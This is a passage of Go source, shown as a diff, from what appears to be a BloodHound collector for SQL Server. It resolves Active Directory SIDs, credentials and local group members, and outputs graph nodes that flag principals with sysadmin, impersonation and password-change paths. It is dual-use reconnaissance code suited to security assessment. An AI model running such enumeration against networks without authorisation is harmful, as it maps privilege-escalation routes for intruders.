strings.Split(line, "|") + if len(parts) < 3 { + continue + } + + spnStr := parts[0] + accountName := parts[1] + accountSID := parts[2] + + spn := c.parseSPN(spnStr, accountName, accountSID) + if spn != nil { + spns = append(spns, *spn) + } + } + + return spns, nil +} + +// parseServerInstance parses a server instance string into hostname, port, and instance name +func (c *Collector) parseServerInstance(serverInstance string) (hostname, port, instanceName string) { + // Handle formats: hostname, hostname:port, hostname\instance, hostname,port + if strings.Contains(serverInstance, "\\") { + parts := strings.SplitN(serverInstance, "\\", 2) + hostname = parts[0] + if len(parts) > 1 { + instanceName = parts[1] + } + } else if strings.Contains(serverInstance, ":") { + parts := strings.SplitN(serverInstance, ":", 2) + hostname = parts[0] + if len(parts) > 1 { + port = parts[1] + } + } else if strings.Contains(serverInstance, ",") { + parts := strings.SplitN(serverInstance, ",", 2) + hostname = parts[0] + if len(parts) > 1 { + port = parts[1] + } + } else { + hostname = serverInstance + } + return +} + +// resolveComputerSIDViaLDAP attempts to resolve the computer SID via multiple methods +func (c *Collector) resolveComputerSIDViaLDAP(serverInfo *types.ServerInfo) { + // Try to determine the domain from the FQDN if not provided + domain := c.config.Domain + if domain == "" && strings.Contains(serverInfo.FQDN, ".") { + // Extract domain from FQDN (e.g., server.domain.com -> domain.com) + parts := strings.SplitN(serverInfo.FQDN, ".", 2) + if len(parts) > 1 { + domain = parts[1] + } + } + + // Use the machine name (without the FQDN) + machineName := serverInfo.Hostname + if strings.Contains(machineName, ".") { + machineName = strings.Split(machineName, ".")[0] + } + + c.logVerbose("Attempting to resolve computer SID for: %s (domain: %s)", machineName, domain) + + // Method 1: Try Windows API (LookupAccountName) - most reliable on Windows + c.logVerbose(" Method 1: Windows API LookupAccountName") + sid, err := ad.ResolveComputerSIDWindows(machineName, domain) + if err == nil && sid != "" { + c.applyComputerSID(serverInfo, sid) + c.logVerbose(" Resolved computer SID via Windows API: %s", sid) + return + } + c.logVerbose(" Windows API method failed: %v", err) + + // Method 2: If we have a domain SID from SQL Server, try Windows API with that context + if serverInfo.DomainSID != "" { + c.logVerbose(" Method 2: Windows API with domain SID context") + sid, err := ad.ResolveComputerSIDByDomainSID(machineName, serverInfo.DomainSID, domain) + if err == nil && sid != "" { + c.applyComputerSID(serverInfo, sid) + c.logVerbose(" Resolved computer SID via Windows API (domain context): %s", sid) + return + } + c.logVerbose(" Windows API with domain context failed: %v", err) + } + + // Method 3: Try LDAP + if domain == "" { + c.logVerbose(" Cannot try LDAP: no domain specified (use -d flag)") + fmt.Printf(" Note: Could not resolve computer SID (no domain specified)\n") + return + } + + c.logVerbose(" Method 3: LDAP query") + + // Create AD client + adClient := c.newADClient(domain) + if adClient == nil { + return + } + defer adClient.Close() + + sid, err = adClient.ResolveComputerSID(machineName) + if err != nil { + if isLDAPAuthError(err) { + c.setLDAPAuthFailed() + } + fmt.Printf(" Note: Could not resolve computer SID via LDAP: %v\n", err) + return + } + + c.applyComputerSID(serverInfo, sid) + c.logVerbose(" Resolved computer SID via LDAP: %s", sid) +} + +// applyComputerSID applies the resolved computer SID to the server info and updates all references +func (c *Collector) applyComputerSID(serverInfo *types.ServerInfo, sid string) { + // Store the old ObjectIdentifier to update references + oldObjectIdentifier := serverInfo.ObjectIdentifier + + serverInfo.ComputerSID = sid + serverInfo.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, serverInfo.Port) + fmt.Printf(" Resolved computer SID: %s\n", sid) + + // Update all ObjectIdentifiers that reference the old server identifier + c.updateObjectIdentifiers(serverInfo, oldObjectIdentifier) +} + +// updateObjectIdentifiers updates all ObjectIdentifiers after computer SID is resolved +func (c *Collector) updateObjectIdentifiers(serverInfo *types.ServerInfo, oldServerID string) { + newServerID := serverInfo.ObjectIdentifier + + // Update server principals + for i := range serverInfo.ServerPrincipals { + p := &serverInfo.ServerPrincipals[i] + // Update ObjectIdentifier: Name@OldServerID -> Name@NewServerID + p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + // Update OwningObjectIdentifier if it references the server + if p.OwningObjectIdentifier != "" { + p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + // Update MemberOf role references: Role@OldServerID -> Role@NewServerID + for j := range p.MemberOf { + p.MemberOf[j].ObjectIdentifier = strings.Replace(p.MemberOf[j].ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + // Update Permissions target references + for j := range p.Permissions { + if p.Permissions[j].TargetObjectIdentifier != "" { + p.Permissions[j].TargetObjectIdentifier = strings.Replace(p.Permissions[j].TargetObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + } + } + + // Update databases and database principals + for i := range serverInfo.Databases { + db := &serverInfo.Databases[i] + // Update database ObjectIdentifier: OldServerID\DBName -> NewServerID\DBName + db.ObjectIdentifier = strings.Replace(db.ObjectIdentifier, oldServerID+"\\", newServerID+"\\", 1) + + // Update database owner ObjectIdentifier: Name@OldServerID -> Name@NewServerID + if db.OwnerObjectIdentifier != "" { + db.OwnerObjectIdentifier = strings.Replace(db.OwnerObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + + // Update database principals + for j := range db.DatabasePrincipals { + p := &db.DatabasePrincipals[j] + // Update ObjectIdentifier: Name@OldServerID\DBName -> Name@NewServerID\DBName + p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + // Update OwningObjectIdentifier + if p.OwningObjectIdentifier != "" { + p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + } + // Update ServerLogin.ObjectIdentifier + if p.ServerLogin != nil && p.ServerLogin.ObjectIdentifier != "" { + p.ServerLogin.ObjectIdentifier = strings.Replace(p.ServerLogin.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + // Update MemberOf role references: Role@OldServerID\DBName -> Role@NewServerID\DBName + for k := range p.MemberOf { + p.MemberOf[k].ObjectIdentifier = strings.Replace(p.MemberOf[k].ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + } + // Update Permissions target references + for k := range p.Permissions { + if p.Permissions[k].TargetObjectIdentifier != "" { + p.Permissions[k].TargetObjectIdentifier = strings.Replace(p.Permissions[k].TargetObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + } + } + } + } +} + +// preprocessServiceAccounts converts built-in service accounts to computer account +// When SQL Server runs as LocalSystem, Local Service, or Network Service, +// it authenticates on the network as the computer account +func (c *Collector) preprocessServiceAccounts(serverInfo *types.ServerInfo) { + seenSIDs := make(map[string]bool) + var uniqueServiceAccounts []types.ServiceAccount + + for i := range serverInfo.ServiceAccounts { + sa := serverInfo.ServiceAccounts[i] + + // Skip NT SERVICE\* virtual service accounts entirely + // PowerShell doesn't convert these to computer accounts - it just skips them + // because they can't be resolved in AD (they're virtual accounts) + if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") { + c.logVerbose("Skipping NT SERVICE virtual account: %s", sa.Name) + continue + } + + // Check if this is a built-in account that uses the computer account for network auth + // These DO get converted to computer accounts (LocalSystem, NT AUTHORITY\*) + isBuiltIn := sa.Name == "LocalSystem" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCALSERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORKSERVICE" + + if isBuiltIn { + // Convert to computer account (HOSTNAME$) + hostname := serverInfo.Hostname + // Strip domain from FQDN + if strings.Contains(hostname, ".") { + hostname = strings.Split(hostname, ".")[0] + } + computerAccount := strings.ToUpper(hostname) + "$" + + c.logVerbose("Converting built-in service account %s to computer account %s", sa.Name, computerAccount) + + sa.Name = computerAccount + sa.ConvertedFromBuiltIn = true // Mark as converted from built-in + + // If we already have the computer SID, use it + if serverInfo.ComputerSID != "" { + sa.SID = serverInfo.ComputerSID + sa.ObjectIdentifier = serverInfo.ComputerSID + c.logVerbose("Using known computer SID: %s", serverInfo.ComputerSID) + } + } + + // De-duplicate: only keep the first occurrence of each SID + key := sa.SID + if key == "" { + key = sa.Name // Use name if SID not resolved yet + } + if !seenSIDs[key] { + seenSIDs[key] = true + uniqueServiceAccounts = append(uniqueServiceAccounts, sa) + } else { + c.logVerbose("Skipping duplicate service account: %s (%s)", sa.Name, key) + } + } + + serverInfo.ServiceAccounts = uniqueServiceAccounts +} + +// resolveServiceAccountSIDsViaLDAP resolves service account SIDs via multiple methods +func (c *Collector) resolveServiceAccountSIDsViaLDAP(serverInfo *types.ServerInfo) { + for i := range serverInfo.ServiceAccounts { + sa := &serverInfo.ServiceAccounts[i] + + // Skip non-domain accounts (Local System, Local Service, etc.) + if !strings.Contains(sa.Name, "\\") && !strings.Contains(sa.Name, "@") && !strings.HasSuffix(sa.Name, "$") { + continue + } + + // Skip virtual accounts like NT SERVICE\* + if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") || + strings.HasPrefix(strings.ToUpper(sa.Name), "NT AUTHORITY\\") { + continue + } + + // Check if this is a computer account (name ends with $) + isComputerAccount := strings.HasSuffix(sa.Name, "$") + + // If we don't have a SID yet, try to resolve it + if sa.SID == "" { + // Method 1: Try Windows API first (most reliable on Windows) + c.logVerbose(" Resolving service account %s via Windows API", sa.Name) + sid, err := ad.ResolveAccountSIDWindows(sa.Name) + if err == nil && sid != "" && strings.HasPrefix(sid, "S-1-5-21-") { + sa.SID = sid + sa.ObjectIdentifier = sid + c.logVerbose(" Resolved service account SID via Windows API: %s", sid) + fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID) + } else { + c.logVerbose(" Windows API failed: %v", err) + } + } + + // For computer accounts, we need to look up the DNSHostName via LDAP + // PowerShell uses DNSHostName for computer account names (e.g., FORS13DA.ad005.onehc.net) + // instead of SAMAccountName (FORS13DA$) + if isComputerAccount && sa.SID != "" { + // First, check if this is the server's own computer account + // by comparing the SID with the server's ComputerSID + if sa.SID == serverInfo.ComputerSID && serverInfo.FQDN != "" { + // Use the server's own FQDN directly + oldName := sa.Name + sa.Name = serverInfo.FQDN + c.logVerbose(" Updated computer account name from %s to %s (server's own computer account)", oldName, sa.Name) + fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name) + continue + } + + // For other computer accounts, try LDAP + if c.config.Domain != "" { + adClient := c.newADClient(c.config.Domain) + if adClient == nil { + continue + } + principal, err := adClient.ResolveSID(sa.SID) + adClient.Close() + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + continue + } + if err == nil && principal != nil && principal.ObjectClass == "computer" { + // Use the resolved name (which is DNSHostName for computers in our updated AD client) + oldName := sa.Name + sa.Name = principal.Name + sa.ResolvedPrincipal = principal + c.logVerbose(" Updated computer account name from %s to %s", oldName, sa.Name) + fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name) + } + } + continue + } + + // If we still don't have a SID and this is not a computer account, try LDAP + if sa.SID == "" { + if c.config.Domain == "" { + fmt.Printf(" Note: Could not resolve service account %s (no domain specified)\n", sa.Name) + continue + } + + // Create AD client + adClient := c.newADClient(c.config.Domain) + if adClient == nil { + continue + } + principal, err := adClient.ResolveName(sa.Name) + adClient.Close() + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + continue + } + if err != nil { + fmt.Printf(" Note: Could not resolve service account %s via LDAP: %v\n", sa.Name, err) + continue + } + + sa.SID = principal.SID + sa.ObjectIdentifier = principal.SID + sa.ResolvedPrincipal = principal + // Also update the name if it's a computer + if principal.ObjectClass == "computer" { + sa.Name = principal.Name + } + fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID) + } + } +} + +// resolveCredentialSIDsViaLDAP resolves credential identities to AD SIDs +// This matches PowerShell's Resolve-DomainPrincipal behavior for credential edges +func (c *Collector) resolveCredentialSIDsViaLDAP(serverInfo *types.ServerInfo) { + if c.config.Domain == "" { + return + } + + // Helper to resolve a credential identity to a domain principal via LDAP. + // Attempts resolution for all identities (not just domain\user or user@domain format), + // matching PowerShell's Resolve-DomainPrincipal behavior. + resolveIdentity := func(identity string) *types.DomainPrincipal { + if identity == "" { + return nil + } + adClient := c.newADClient(c.config.Domain) + if adClient == nil { + return nil + } + principal, err := adClient.ResolveName(identity) + adClient.Close() + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + return nil + } + if err != nil || principal == nil || principal.SID == "" { + return nil + } + return principal + } + + // Resolve server-level credentials (mapped via ALTER LOGIN ... WITH CREDENTIAL) + for i := range serverInfo.ServerPrincipals { + if serverInfo.ServerPrincipals[i].MappedCredential != nil { + cred := serverInfo.ServerPrincipals[i].MappedCredential + if principal := resolveIdentity(cred.CredentialIdentity); principal != nil { + cred.ResolvedSID = principal.SID + cred.ResolvedPrincipal = principal + c.logVerbose(" Resolved credential %s -> %s", cred.CredentialIdentity, principal.SID) + } + } + } + + // Resolve standalone credentials (for HasMappedCred edges) + for i := range serverInfo.Credentials { + if principal := resolveIdentity(serverInfo.Credentials[i].CredentialIdentity); principal != nil { + serverInfo.Credentials[i].ResolvedSID = principal.SID + serverInfo.Credentials[i].ResolvedPrincipal = principal + c.logVerbose(" Resolved credential %s -> %s", serverInfo.Credentials[i].CredentialIdentity, principal.SID) + } + } + + // Resolve proxy account credentials + for i := range serverInfo.ProxyAccounts { + if principal := resolveIdentity(serverInfo.ProxyAccounts[i].CredentialIdentity); principal != nil { + serverInfo.ProxyAccounts[i].ResolvedSID = principal.SID + serverInfo.ProxyAccounts[i].ResolvedPrincipal = principal + c.logVerbose(" Resolved proxy credential %s -> %s", serverInfo.ProxyAccounts[i].CredentialIdentity, principal.SID) + } + } + + // Resolve database-scoped credentials + for i := range serverInfo.Databases { + for j := range serverInfo.Databases[i].DBScopedCredentials { + cred := &serverInfo.Databases[i].DBScopedCredentials[j] + if principal := resolveIdentity(cred.CredentialIdentity); principal != nil { + cred.ResolvedSID = principal.SID + cred.ResolvedPrincipal = principal + c.logVerbose(" Resolved DB scoped credential %s -> %s", cred.CredentialIdentity, principal.SID) + } + } + } +} + +// enumerateLocalGroupMembers finds local Windows groups that have SQL logins and enumerates their domain members via WMI +func (c *Collector) enumerateLocalGroupMembers(serverInfo *types.ServerInfo) { + if runtime.GOOS != "windows" { + c.logVerbose("Skipping local group enumeration (not on Windows)") + return + } + + serverInfo.LocalGroupsWithLogins = make(map[string]*types.LocalGroupInfo) + + // Get the hostname part for matching + serverHostname := serverInfo.Hostname + if idx := strings.Index(serverHostname, "."); idx > 0 { + serverHostname = serverHostname[:idx] // Get just the hostname, not FQDN + } + serverHostnameUpper := strings.ToUpper(serverHostname) + + for i := range serverInfo.ServerPrincipals { + principal := &serverInfo.ServerPrincipals[i] + + // Check if this is a local Windows group + if principal.TypeDescription != "WINDOWS_GROUP" { + continue + } + + isLocalGroup := false + localGroupName := "" + + // Check for BUILTIN groups (e.g., BUILTIN\Administrators) + if strings.HasPrefix(strings.ToUpper(principal.Name), "BUILTIN\\") { + isLocalGroup = true + parts := strings.SplitN(principal.Name, "\\", 2) + if len(parts) == 2 { + localGroupName = parts[1] + } + } else if strings.Contains(principal.Name, "\\") { + // Check for computer-specific local groups (e.g., SERVERNAME\Administrators) + parts := strings.SplitN(principal.Name, "\\", 2) + if len(parts) == 2 && strings.ToUpper(parts[0]) == serverHostnameUpper { + isLocalGroup = true + localGroupName = parts[1] + } + } + + if !isLocalGroup || localGroupName == "" { + continue + } + + // Enumerate members using WMI + members := wmi.GetLocalGroupMembersWithFallback(serverHostname, localGroupName, c.config.Verbose) + + // Convert to LocalGroupMember and resolve SIDs + var localMembers []types.LocalGroupMember + for _, member := range members { + lm := types.LocalGroupMember{ + Domain: member.Domain, + Name: member.Name, + } + + // Try to resolve SID + fullName := fmt.Sprintf("%s\\%s", member.Domain, member.Name) + if runtime.GOOS == "windows" { + sid, err := ad.ResolveAccountSIDWindows(fullName) + if err == nil && sid != "" { + lm.SID = sid + } + } + + // Fall back to LDAP if Windows API didn't work and we have a domain + if lm.SID == "" && c.config.Domain != "" { + adClient := c.newADClient(c.config.Domain) + if adClient != nil { + resolved, err := adClient.ResolveName(fullName) + adClient.Close() + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + } else if err == nil && resolved.SID != "" { + lm.SID = resolved.SID + } + } + } + + localMembers = append(localMembers, lm) + } + + // Store in server info + serverInfo.LocalGroupsWithLogins[principal.ObjectIdentifier] = &types.LocalGroupInfo{ + Principal: principal, + Members: localMembers, + } + } +} + +// generateOutput creates the BloodHound JSON output for a server +func (c *Collector) generateOutput(serverInfo *types.ServerInfo, outputFile string) error { + writer, err := bloodhound.NewStreamingWriter(outputFile) + if err != nil { + return err + } + defer writer.Close() + + // Create server node + serverNode := c.createServerNode(serverInfo) + if err := writer.WriteNode(serverNode); err != nil { + return err + } + + // Create linked server nodes (matching PowerShell behavior) + // If a linked server resolves to the same ObjectIdentifier as the primary server, + // merge the linked server properties into the server node instead of creating a duplicate. + createdLinkedServerNodes := make(map[string]bool) + for _, linkedServer := range serverInfo.LinkedServers { + if linkedServer.DataSource == "" || linkedServer.ResolvedObjectIdentifier == "" { + continue + } + if createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] { + continue + } + + // If this linked server target is the primary server itself, skip creating a + // separate node — the properties were already merged into the server node above. + if linkedServer.ResolvedObjectIdentifier == serverInfo.ObjectIdentifier { + createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true + continue + } + + // Extract server name from data source (e.g., "SERVER\INSTANCE,1433" -> "SERVER") + linkedServerName := linkedServer.DataSource + if idx := strings.IndexAny(linkedServerName, "\\,:"); idx > 0 { + linkedServerName = linkedServerName[:idx] + } + + linkedNode := &bloodhound.Node{ + Kinds: []string{bloodhound.NodeKinds.Server}, + ID: linkedServer.ResolvedObjectIdentifier, + Properties: make(map[string]interface{}), + } + linkedNode.Properties["name"] = linkedServerName + linkedNode.Properties["hasLinksFromServers"] = []string{serverInfo.ObjectIdentifier} + linkedNode.Properties["isLinkedServerTarget"] = true + linkedNode.Icon = &bloodhound.Icon{ + Type: "font-awesome", + Name: "server", + Color: "#42b9f5", + } + + if err := writer.WriteNode(linkedNode); err != nil { + return err + } + createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true + } + + // Pre-compute databaseUsers for each login (matching PowerShell behavior). + // Maps login ObjectIdentifier -> list of "userName@databaseName" strings. + loginDatabaseUsers := make(map[string][]string) + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + if principal.ServerLogin != nil && principal.ServerLogin.ObjectIdentifier != "" { + entry := fmt.Sprintf("%s@%s", principal.Name, db.Name) + loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier] = append( + loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier], entry) + } + } + } + + // Create server principal nodes + for _, principal := range serverInfo.ServerPrincipals { + node := c.createServerPrincipalNode(&principal, serverInfo, loginDatabaseUsers) + if err := writer.WriteNode(node); err != nil { + return err + } + } + + // Create database and database principal nodes + for _, db := range serverInfo.Databases { + dbNode := c.createDatabaseNode(&db, serverInfo) + if err := writer.WriteNode(dbNode); err != nil { + return err + } + + for _, principal := range db.DatabasePrincipals { + node := c.createDatabasePrincipalNode(&principal, &db, serverInfo) + if err := writer.WriteNode(node); err != nil { + return err + } + } + } + + // Collect AD nodes (User, Group, Computer) if not skipped. + // These are accumulated across servers and written to separate files (computers.json, users.json, groups.json). + if !c.config.SkipADNodeCreation { + if err := c.createADNodes(serverInfo); err != nil { + return err + } + } + + // Create edges + if err := c.createEdges(writer, serverInfo); err != nil { + return err + } + + // Print grouped summary of skipped ChangePassword edges due to CVE-2025-49758 patch + c.skippedChangePasswordMu.Lock() + if len(c.skippedChangePasswordEdges) > 0 { + // Sort names for consistent output + var names []string + for name := range c.skippedChangePasswordEdges { + names = append(names, name) + } + sort.Strings(names) + + fmt.Println("Targets have securityadmin role or IMPERSONATE ANY LOGIN permission, but server is patched for CVE-2025-49758 -- Skipping ChangePassword edge for:") + for _, name := range names { + fmt.Printf(" %s\n", name) + } + // Clear the map for next server + c.skippedChangePasswordEdges = nil + } + c.skippedChangePasswordMu.Unlock() + + nodes, edges := writer.Stats() + fmt.Printf("Wrote %d nodes and %d edges to %s\n", nodes, edges, filepath.Base(outputFile)) + + return nil +} + +// createServerNode creates a BloodHound node for the SQL Server +func (c *Collector) createServerNode(info *types.ServerInfo) *bloodhound.Node { + props := map[string]interface{}{ + "name": info.SQLServerName, // Use consistent FQDN:Port format + "hostname": info.Hostname, + "fqdn": info.FQDN, + "sqlServerName": info.ServerName, // Original SQL Server name (may be short name or include instance) + "version": info.Version, + "versionNumber": info.VersionNumber, + "edition": info.Edition, + "productLevel": info.ProductLevel, + "isClustered": info.IsClustered, + "port": info.Port, + } + + // Add instance name + if info.InstanceName != "" { + props["instanceName"] = info.InstanceName + } + + // Add security-relevant properties + props["isMixedModeAuthEnabled"] = info.IsMixedModeAuth + if info.ForceEncryption != "" { + props["forceEncryption"] = info.ForceEncryption + } + if info.StrictEncryption != "" { + props["strictEncryption"] = info.StrictEncryption + } + if info.ExtendedProtection != "" { + props["extendedProtection"] = info.ExtendedProtection + } + + // Add SPNs + if len(info.SPNs) > 0 { + props["servicePrincipalNames"] = info.SPNs + } + + // Add service account name (first service account, matching PowerShell behavior). + // PS strips the domain prefix via Resolve-DomainPrincipal which returns bare SAMAccountName. + if len(info.ServiceAccounts) > 0 { + saName := info.ServiceAccounts[0].Name + if idx := strings.Index(saName, "\\"); idx != -1 { + saName = saName[idx+1:] + } + props["serviceAccount"] = saName + } + + // Add database names + if len(info.Databases) > 0 { + dbNames := make([]string, len(info.Databases)) + for i, db := range info.Databases { + dbNames[i] = db.Name + } + props["databases"] = dbNames + } + + // Add linked server names + if len(info.LinkedServers) > 0 { + linkedNames := make([]string, len(info.LinkedServers)) + for i, ls := range info.LinkedServers { + linkedNames[i] = ls.Name + } + props["linkedToServers"] = linkedNames + } + + // Check if any linked servers resolve back to this server (self-reference). + // If so, merge the linked server target properties into this node to avoid + // creating a duplicate node with the same ObjectIdentifier. + hasLinksFromServers := []string{} + for _, ls := range info.LinkedServers { + if ls.ResolvedObjectIdentifier == info.ObjectIdentifier && ls.DataSource != "" { + hasLinksFromServers = append(hasLinksFromServers, info.ObjectIdentifier) + break + } + } + if len(hasLinksFromServers) > 0 { + props["isLinkedServerTarget"] = true + props["hasLinksFromServers"] = hasLinksFromServers + } + + // Calculate domain principals with privileged access using effective permission + // evaluation (including nested role membership and fixed role implied permissions). + // This matches PowerShell's approach where sysadmin implies CONTROL SERVER. + domainPrincipalsWithSysadmin := []string{} + domainPrincipalsWithControlServer := []string{} + domainPrincipalsWithSecurityadmin := []string{} + domainPrincipalsWithImpersonateAnyLogin := []string{} + + for _, principal := range info.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.IsDisabled { + continue + } + + // Only include principals with domain SIDs (S-1-5-21--...) + // This filters out BUILTIN, NT AUTHORITY, NT SERVICE accounts + if info.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, info.DomainSID+"-") { + continue + } + + // Use effective permission/role checks (including nested roles and fixed role implied permissions) + if c.hasNestedRoleMembership(principal, "sysadmin", info) { + domainPrincipalsWithSysadmin = append(domainPrincipalsWithSysadmin, principal.ObjectIdentifier) + } + if c.hasNestedRoleMembership(principal, "securityadmin", info) { + domainPrincipalsWithSecurityadmin = append(domainPrincipalsWithSecurityadmin, principal.ObjectIdentifier) + } + if c.hasEffectivePermission(principal, "CONTROL SERVER", info) { + domainPrincipalsWithControlServer = append(domainPrincipalsWithControlServer, principal.ObjectIdentifier) + } + if c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", info) { + domainPrincipalsWithImpersonateAnyLogin = append(domainPrincipalsWithImpersonateAnyLogin, principal.ObjectIdentifier) + } + } + + props["domainPrincipalsWithSysadmin"] = domainPrincipalsWithSysadmin + props["domainPrincipalsWithControlServer"] = domainPrincipalsWithControlServer + props["domainPrincipalsWithSecurityadmin"] = domainPrincipalsWithSecurityadmin + props["domainPrincipalsWithImpersonateAnyLogin"] = domainPrincipalsWithImpersonateAnyLogin + props["isAnyDomainPrincipalSysadmin"] = len(domainPrincipalsWithSysadmin) > 0 + + return &bloodhound.Node{ + ID: info.ObjectIdentifier, + Kinds: []string{bloodhound.NodeKinds.Server}, + Properties: props, + Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Server]), + } +} + +// createServerPrincipalNode creates a BloodHound node for a server principal +func (c *Collector) createServerPrincipalNode(principal *types.ServerPrincipal, serverInfo *types.ServerInfo, loginDatabaseUsers map[string][]string) *bloodhound.Node { + props := map[string]interface{}{ + "name": principal.Name, + "principalId": principal.PrincipalID, + "createDate": principal.CreateDate.Format(time.RFC3339), + "modifyDate": principal.ModifyDate.Format(time.RFC3339), + "SQLServer": principal.SQLServerName, + } + + var kinds []string + var icon *bloodhound.Icon + + switch principal.TypeDescription { + case "SERVER_ROLE": + kinds = []string{bloodhound.NodeKinds.ServerRole} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ServerRole]) + props["isFixedRole"] = principal.IsFixedRole + if len(principal.Members) > 0 { + props["members"] = principal.Members + } + default: + // Logins (SQL_LOGIN, WINDOWS_LOGIN, WINDOWS_GROUP, etc.) + kinds = []string{bloodhound.NodeKinds.Login} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Login]) + props["type"] = principal.TypeDescription + props["disabled"] = principal.IsDisabled + props["defaultDatabase"] = principal.DefaultDatabaseName + props["isActiveDirectoryPrincipal"] = principal.IsActiveDirectoryPrincipal + + if principal.SecurityIdentifier != "" { + props["activeDirectorySID"] = principal.SecurityIdentifier + // Resolve SID to NTAccount-style name (matching PowerShell's activeDirectoryPrincipal) + if principal.IsActiveDirectoryPrincipal { + props["activeDirectoryPrincipal"] = principal.Name + } + } + + // Add databaseUsers list (matching PowerShell behavior) + if dbUsers, ok := loginDatabaseUsers[principal.ObjectIdentifier]; ok && len(dbUsers) > 0 { + props["databaseUsers"] = dbUsers + } + } + + // Add role memberships + if len(principal.MemberOf) > 0 { + roleNames := make([]string, len(principal.MemberOf)) + for i, m := range principal.MemberOf { + roleNames[i] = m.Name + } + props["memberOfRoles"] = roleNames + } + + // Add explicit permissions + if len(principal.Permissions) > 0 { + perms := make([]string, len(principal.Permissions)) + for i, p := range principal.Permissions { + perms[i] = p.Permission + } + props["explicitPermissions"] = perms + } + + return &bloodhound.Node{ + ID: principal.ObjectIdentifier, + Kinds: kinds, + Properties: props, + Icon: icon, + } +} + +// createDatabaseNode creates a BloodHound node for a database +func (c *Collector) createDatabaseNode(db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node { + props := map[string]interface{}{ + "name": db.Name, + "databaseId": db.DatabaseID, + "createDate": db.CreateDate.Format(time.RFC3339), + "compatibilityLevel": db.CompatibilityLevel, + "isReadOnly": db.IsReadOnly, + "isTrustworthy": db.IsTrustworthy, + "isEncrypted": db.IsEncrypted, + "SQLServer": db.SQLServerName, + "SQLServerID": serverInfo.ObjectIdentifier, + } + + if db.OwnerLoginName != "" { + props["ownerLoginName"] = db.OwnerLoginName + } + if db.OwnerPrincipalID != 0 { + props["ownerPrincipalID"] = fmt.Sprintf("%d", db.OwnerPrincipalID) + } + if db.OwnerObjectIdentifier != "" { + props["OwnerObjectIdentifier"] = db.OwnerObjectIdentifier + } + if db.CollationName != "" { + props["collationName"] = db.CollationName + } + + return &bloodhound.Node{ + ID: db.ObjectIdentifier, + Kinds: []string{bloodhound.NodeKinds.Database}, + Properties: props, + Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Database]), + } +} + +// createDatabasePrincipalNode creates a BloodHound node for a database principal +func (c *Collector) createDatabasePrincipalNode(principal *types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node { + props := map[string]interface{}{ + "name": fmt.Sprintf("%s@%s", principal.Name, db.Name), // Match PowerShell format: Name@DatabaseName + "principalId": principal.PrincipalID, + "createDate": principal.CreateDate.Format(time.RFC3339), + "modifyDate": principal.ModifyDate.Format(time.RFC3339), + "database": principal.DatabaseName, // Match PowerShell property name + "SQLServer": principal.SQLServerName, + } + + var kinds []string + var icon *bloodhound.Icon + + // Add defaultSchema for all database principal types (matching PowerShell behavior) + if principal.DefaultSchemaName != "" { + props["defaultSchema"] = principal.DefaultSchemaName + } + + switch principal.TypeDescription { + case "DATABASE_ROLE": + kinds = []string{bloodhound.NodeKinds.DatabaseRole} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseRole]) + props["isFixedRole"] = principal.IsFixedRole + if len(principal.Members) > 0 { + props["members"] = principal.Members + } + case "APPLICATION_ROLE": + kinds = []string{bloodhound.NodeKinds.ApplicationRole} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ApplicationRole]) + default: + // Database users + kinds = []string{bloodhound.NodeKinds.DatabaseUser} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseUser]) + props["type"] = principal.TypeDescription + if principal.ServerLogin != nil { + props["serverLogin"] = principal.ServerLogin.Name + } + } + + // Add role memberships + if len(principal.MemberOf) > 0 { + roleNames := make([]string, len(principal.MemberOf)) + for i, m := range principal.MemberOf { + roleNames[i] = 